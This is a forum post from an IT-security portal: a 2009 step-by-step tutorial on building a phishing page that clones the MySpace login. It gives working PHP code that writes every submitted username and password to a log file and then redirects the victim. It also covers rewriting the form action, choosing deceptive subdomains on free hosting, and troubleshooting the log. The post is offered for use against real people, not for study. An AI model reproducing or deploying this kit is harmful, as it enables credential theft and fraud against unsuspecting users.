Waraxe IT Security Portal
Login or Register
September 13, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 305
Members: 0
Total: 305
Full disclosure
[0day-rubbish] Royal Server 5.04.50529.0 Local privilege escalation to LocalSystem on the execution path without credential override (7.2)
[0day-rubbish] core-admin 1.0.164 (build 16468) Systemic shell command injection via ineffective quote escaping (8.8)
[0day-rubbish] OP5 Monitor 9.20 Command injection surviving the CVE-2025-34115 patch (OPT-IN fix ineffective) (8.8)
[0day-rubbish] QuantaStor 6.8.3.018 Command injection in the alert-mail command via the smtpPassword field (8.8)
[0day-rubbish] SmarterMail 100.0.9693 (Build 9693) Antivirus command-line configuration executing as NT AUTHORITY\SYSTEM (7.2)
[0day-rubbish] Jitterbit Agent 12.8.1.6 (Docker jitterbit/agent:12.8.1.6) Unauthenticated SOAP with hard-coded credentials leading to OS command execution (9.8)
[0day-rubbish] Accurate Online Private Cloud on-prem (current) Unauthenticated Hessian deserialization leading to JNDI remote class loading (9.8)
[0day-rubbish] DBxtra .NET 13.1.1.0 Unauthenticated SOAP API to xp_cmdshell code execution (9.8)
**Subject:** CVE-2026-2035703: Tozed ZLT X300 5G CPE — Unauthenticated Remote Root Code Execution via TR-069 Command Injection (CVSS 9.8)
CVE-2026-52307: Stored XSS in 1CMS v5.6
HP Easy Start for macOS: CVE-2026-12554 / CVE-2026-12555 /CVE-2026-12556
Next.js 16.4.0-canary.13 Image Optimizer DNS Rebinding TOCTOU SSRF Still Exists
O-CMS 1.0.0 Authenticated OS Command Injection viaai_cli_script
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Phishing and Social Engineering -> How to Make A Phisher [TriCk aka Saywhat?]
Post new topicReply to topic View previous topic :: View next topic
How to Make A Phisher [TriCk aka Saywhat?]
PostPosted: Fri Sep 25, 2009 5:28 pm Reply with quote
trick123
Active user
Active user
Joined: Jul 11, 2009
Posts: 35




*****************************************************
Tutorial: How to Make Phishers
Author: Trick aka Saywhat?
Contact: badnews_saywhat@hotmail.com // p0ison.org
*****************************************************
What are Phishers?
- Phishing is the act of tricking someone into giving them confidential information or tricking them into doing something that they normally wouldn't do...

- The attempt to fraudulently acquire sensitive information (eg, passwords, account numbers, or financial information) by masquerading as a trustworthy person or business in a seemingly official communication.

(source: Google ;p)
*****************************************************
The type of Phisher We are making today is a Website Phisher, a website Phisher is a web-page that looks exactly like the Web-page of your target so it tricks them into logging in or submitting information which then gets sent to a log file or your email, i have chosen to Make a phisher for www.myspace.com

1. go to your target URL i have chosen www.myspace.com

2. View the source, Firefox users Press CTRL + U, internet explorer users Right Click > View Source

3. A Notepad file should appear, Copy all the text (right click > Select all), then paste it on a new Notepad file, call this file index.html

4. we now need to make the page send all the Usernames and password Submitted to send to a text file, to do this on your notepad file press CTRL + F and a search box should appear, Search for Action

keep Looking until you bump into something like this:
Code:

action="http://searchservice.myspace.com/index.cfm?"

Your URL would be differnt as im making one for myspace.

Change that code to this:
Code:
action="/login.php"


5. Now save the Notepad file as index.html

6. Open a New Notepad file and copy and paste this code in it:
Code:
<?php
header ('Location: https://myspace.com ');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

in the code where is says https://myspace.com change yours to Target site.

6. Save this file as login.php

7. make an account on a free host that supports PHP i would use www.t35.com its never gave me any issues/problems (remember to make your domain releated to the phisher e.g www.myspace.t35.com, www.myspace-hacks.t35.com, www.myspace-porn.t35.com) something your victim will fall for.

8. once you have your Hosting Set up Upload the index.html and login.php files

9. Now make a new file Called, log.txt (this is where all the passwords + usernames will go) [/COLOR]

Remember to Chmod this to 7777 (click all boxes)

NOW TEST IF YOUR PHISHER WORKS GO TO THE DOMAIN AND LOGIN AND CHECK IF THE PASSWORD+USERNAME GOES TO THE LOG.TXT, SOMETIMES IT CAN TAKE A FEW HOURS TO SUMBIT.

Errors:

My Pics don't show on my index page?

- open it in note pad and make sure all the links like.g
/images/lol.html are changed to myspace.com/images/lol.html

My Logs don't come through:

- Sometimes it takes time for them to sumbit
- your host might not support PHP
- remember to CHMOD the log.txt to 7777 (tick all boxes)

- TRICK AKA SAYWHAT? www.p0ison.org
View user's profile Send private message
How to Make A Phisher [TriCk aka Saywhat?]
www.waraxe.us Forum Index -> Phishing and Social Engineering
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.039 Seconds